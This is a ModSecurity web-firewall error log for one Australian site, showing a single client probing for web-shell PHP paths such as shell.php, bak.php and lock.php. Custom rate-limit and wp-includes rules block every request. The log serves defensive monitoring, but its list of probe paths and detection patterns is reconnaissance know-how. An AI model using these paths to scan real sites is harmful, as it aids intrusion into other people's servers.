[Sun Dec 14 01:36:44.663221 2025] [:error] [pid 14654:tid 14665] [client 4.193.251.36:6036] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/xp.php"] [unique_id "aT2kLDqZP_N7tgSGeZcx7QAAAAg"]
[Sun Dec 14 01:36:44.837510 2025] [:error] [pid 3635:tid 3678] [client 4.193.251.36:24173] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/xp.php"] [unique_id "aT2kLDqfhzW7OpfKxKzqhAAAAM0"]
[Sun Dec 14 01:36:45.010879 2025] [:error] [pid 14654:tid 14677] [client 4.193.251.36:6122] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/xp.php"] [unique_id "aT2kLTqZP_N7tgSGeZcx7gAAABQ"]
[Sun Dec 14 01:36:45.184745 2025] [:error] [pid 14654:tid 14672] [client 4.193.251.36:6060] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/xp.php"] [unique_id "aT2kLTqZP_N7tgSGeZcx7wAAAA8"]
[Sun Dec 14 01:36:45.358360 2025] [:error] [pid 3634:tid 3662] [client 4.193.251.36:6121] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/themes.php"] [unique_id "aT2kLYbt-wTl4d7Q7qp9kAAAAFg"]
[Sun Dec 14 01:36:45.533837 2025] [:error] [pid 3634:tid 3647] [client 4.193.251.36:6070] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/dummyyummy/wp-signup.php"] [unique_id "aT2kLYbt-wTl4d7Q7qp9kQAAAEk"]
[Sun Dec 14 01:36:45.709442 2025] [:error] [pid 3635:tid 3680] [client 4.193.251.36:24175] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/dummyyummy/wp-signup.php"] [unique_id "aT2kLTqfhzW7OpfKxKzqhQAAAM8"]
[Sun Dec 14 01:36:45.884271 2025] [:error] [pid 3636:tid 3706] [client 4.193.251.36:24108] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/dummyyummy/wp-signup.php"] [unique_id "aT2kLd4pNg3LXPqKgeY7BAAAAQ4"]
[Sun Dec 14 01:36:46.058742 2025] [:error] [pid 14689:tid 14709] [client 4.193.251.36:5979] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "aT2kLkEcifvaa9I7SnmAwQAAAVA"]
[Sun Dec 14 01:36:46.232833 2025] [:error] [pid 14689:tid 14717] [client 4.193.251.36:24184] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "aT2kLkEcifvaa9I7SnmAwgAAAVg"]
[Sun Dec 14 01:36:46.407268 2025] [:error] [pid 14654:tid 14676] [client 4.193.251.36:6061] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "aT2kLjqZP_N7tgSGeZcx9AAAABM"]
[Sun Dec 14 01:36:46.581468 2025] [:error] [pid 3634:tid 3645] [client 4.193.251.36:6114] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "aT2kLobt-wTl4d7Q7qp9kgAAAEc"]
[Sun Dec 14 01:36:46.756056 2025] [:error] [pid 14654:tid 14681] [client 4.193.251.36:24102] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aT2kLjqZP_N7tgSGeZcx9gAAABg"]
[Sun Dec 14 01:36:46.930346 2025] [:error] [pid 14654:tid 14670] [client 4.193.251.36:6093] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Content/Type/wp-login.php"] [unique_id "aT2kLjqZP_N7tgSGeZcx9wAAAA0"]
[Sun Dec 14 01:36:47.106493 2025] [:error] [pid 3634:tid 3656] [client 4.193.251.36:24168] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/style.php"] [unique_id "aT2kL4bt-wTl4d7Q7qp9kwAAAFI"]
[Sun Dec 14 01:36:47.280618 2025] [:error] [pid 3636:tid 3701] [client 4.193.251.36:6057] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/style.php"] [unique_id "aT2kL94pNg3LXPqKgeY7BQAAAQk"]
[Sun Dec 14 01:36:47.455179 2025] [:error] [pid 14654:tid 14679] [client 4.193.251.36:6108] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/style.php"] [unique_id "aT2kLzqZP_N7tgSGeZcx-AAAABY"]
[Sun Dec 14 01:36:47.629593 2025] [:error] [pid 14654:tid 14667] [client 4.193.251.36:6105] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aT2kLzqZP_N7tgSGeZcx-QAAAAo"]
[Sun Dec 14 01:36:47.804377 2025] [:error] [pid 14654:tid 14673] [client 4.193.251.36:24099] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aT2kLzqZP_N7tgSGeZcx-gAAABA"]
[Sun Dec 14 01:36:47.978052 2025] [:error] [pid 14654:tid 14665] [client 4.193.251.36:6037] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aT2kLzqZP_N7tgSGeZcx-wAAAAg"]
[Sun Dec 14 01:36:48.152351 2025] [:error] [pid 14654:tid 14677] [client 4.193.251.36:6026] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aT2kMDqZP_N7tgSGeZcx_AAAABQ"]
[Sun Dec 14 01:36:48.326216 2025] [:error] [pid 3635:tid 3679] [client 4.193.251.36:5992] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aT2kMDqfhzW7OpfKxKzqhgAAAM4"]
[Sun Dec 14 01:36:48.499293 2025] [:error] [pid 14654:tid 14662] [client 4.193.251.36:24065] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aT2kMDqZP_N7tgSGeZcx_QAAAAU"]
[Sun Dec 14 01:36:48.673786 2025] [:error] [pid 3634:tid 3655] [client 4.193.251.36:6038] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aT2kMIbt-wTl4d7Q7qp9lgAAAFE"]
[Sun Dec 14 01:36:48.848617 2025] [:error] [pid 14654:tid 14658] [client 4.193.251.36:24103] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aT2kMDqZP_N7tgSGeZcx_gAAAAE"]
[Sun Dec 14 01:36:49.022749 2025] [:error] [pid 14654:tid 14674] [client 4.193.251.36:6083] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/about.php"] [unique_id "aT2kMTqZP_N7tgSGeZcx_wAAABE"]
[Sun Dec 14 01:36:49.200859 2025] [:error] [pid 14654:tid 14681] [client 4.193.251.36:6039] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Content/Type/index.php"] [unique_id "aT2kMTqZP_N7tgSGeZcyAAAAABg"]
[Sun Dec 14 01:36:49.375364 2025] [:error] [pid 3636:tid 3705] [client 4.193.251.36:6106] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "aT2kMd4pNg3LXPqKgeY7BwAAAQ0"]
[Sun Dec 14 01:36:49.548385 2025] [:error] [pid 14689:tid 14698] [client 4.193.251.36:6120] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "aT2kMUEcifvaa9I7SnmAxAAAAUU"]
[Sun Dec 14 01:36:49.725280 2025] [:error] [pid 14689:tid 14700] [client 4.193.251.36:6125] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "aT2kMUEcifvaa9I7SnmAxQAAAUc"]
[Sun Dec 14 01:36:49.898582 2025] [:error] [pid 3636:tid 3700] [client 4.193.251.36:6022] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aT2kMd4pNg3LXPqKgeY7CAAAAQg"]
[Sun Dec 14 01:36:50.073413 2025] [:error] [pid 3636:tid 3712] [client 4.193.251.36:6133] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aT2kMt4pNg3LXPqKgeY7CQAAARQ"]
[Sun Dec 14 01:36:50.253143 2025] [:error] [pid 14654:tid 14659] [client 4.193.251.36:6138] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aT2kMjqZP_N7tgSGeZcyAgAAAAI"]
[Sun Dec 14 01:36:50.427237 2025] [:error] [pid 3634:tid 3643] [client 4.193.251.36:6140] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aT2kMobt-wTl4d7Q7qp9lwAAAEU"]
[Sun Dec 14 01:36:50.602193 2025] [:error] [pid 14654:tid 14679] [client 4.193.251.36:5980] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aT2kMjqZP_N7tgSGeZcyAwAAABY"]
[Sun Dec 14 01:36:50.779014 2025] [:error] [pid 14654:tid 14664] [client 4.193.251.36:6084] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aT2kMjqZP_N7tgSGeZcyBAAAAAc"]
[Sun Dec 14 01:36:50.953979 2025] [:error] [pid 14654:tid 14667] [client 4.193.251.36:6094] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aT2kMjqZP_N7tgSGeZcyBQAAAAo"]
[Sun Dec 14 01:36:51.128423 2025] [:error] [pid 3635:tid 3682] [client 4.193.251.36:6082] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aT2kMzqfhzW7OpfKxKzqhwAAANE"]
[Sun Dec 14 01:36:51.303007 2025] [:error] [pid 14654:tid 14673] [client 4.193.251.36:6074] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "aT2kMzqZP_N7tgSGeZcyBgAAABA"]
[Sun Dec 14 01:36:51.476902 2025] [:error] [pid 14654:tid 14678] [client 4.193.251.36:6103] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "aT2kMzqZP_N7tgSGeZcyCAAAABU"]
[Sun Dec 14 01:36:51.650303 2025] [:error] [pid 3720:tid 3744] [client 4.193.251.36:6095] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "aT2kM-7_sgsCEY5RMYri1AAAAJY"]
[Sun Dec 14 01:36:51.824631 2025] [:error] [pid 3720:tid 3729] [client 4.193.251.36:6091] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "aT2kM-7_sgsCEY5RMYri1QAAAIc"]
[Sun Dec 14 01:36:51.998655 2025] [:error] [pid 3720:tid 3738] [client 4.193.251.36:24064] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "aT2kM-7_sgsCEY5RMYri1wAAAJA"]
[Sun Dec 14 01:36:52.172591 2025] [:error] [pid 3720:tid 3723] [client 4.193.251.36:6017] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "aT2kNO7_sgsCEY5RMYri2AAAAIE"]
[Sun Dec 14 01:36:52.346434 2025] [:error] [pid 3635:tid 3667] [client 4.193.251.36:24097] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "aT2kNDqfhzW7OpfKxKzqiQAAAMI"]
[Sun Dec 14 01:36:52.520650 2025] [:error] [pid 3720:tid 3731] [client 4.193.251.36:6097] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "aT2kNO7_sgsCEY5RMYri2QAAAIk"]
[Sun Dec 14 01:36:52.694082 2025] [:error] [pid 14654:tid 14665] [client 4.193.251.36:6047] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/shell.php"] [unique_id "aT2kNDqZP_N7tgSGeZcyCQAAAAg"]
[Sun Dec 14 01:36:52.867905 2025] [:error] [pid 3636:tid 3711] [client 4.193.251.36:24100] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/shell.php"] [unique_id "aT2kNN4pNg3LXPqKgeY7CgAAARM"]
[Sun Dec 14 01:36:53.041873 2025] [:error] [pid 3634:tid 3638] [client 4.193.251.36:6124] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/shell.php"] [unique_id "aT2kNYbt-wTl4d7Q7qp9mgAAAEA"]
[Sun Dec 14 01:36:53.215483 2025] [:error] [pid 3635:tid 3672] [client 4.193.251.36:24162] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/shell.php"] [unique_id "aT2kNTqfhzW7OpfKxKzqigAAAMc"]
[Sun Dec 14 01:36:53.389482 2025] [:error] [pid 3635:tid 3676] [client 4.193.251.36:6102] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/bak.php"] [unique_id "aT2kNTqfhzW7OpfKxKzqiwAAAMs"]
[Sun Dec 14 01:36:53.570020 2025] [:error] [pid 3635:tid 3683] [client 4.193.251.36:6111] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/bak.php"] [unique_id "aT2kNTqfhzW7OpfKxKzqjAAAANI"]
[Sun Dec 14 01:36:53.743818 2025] [:error] [pid 3720:tid 3746] [client 4.193.251.36:5976] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/bak.php"] [unique_id "aT2kNe7_sgsCEY5RMYri2gAAAJg"]
[Sun Dec 14 01:36:53.917956 2025] [:error] [pid 3635:tid 3686] [client 4.193.251.36:6034] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/bak.php"] [unique_id "aT2kNTqfhzW7OpfKxKzqjQAAANU"]
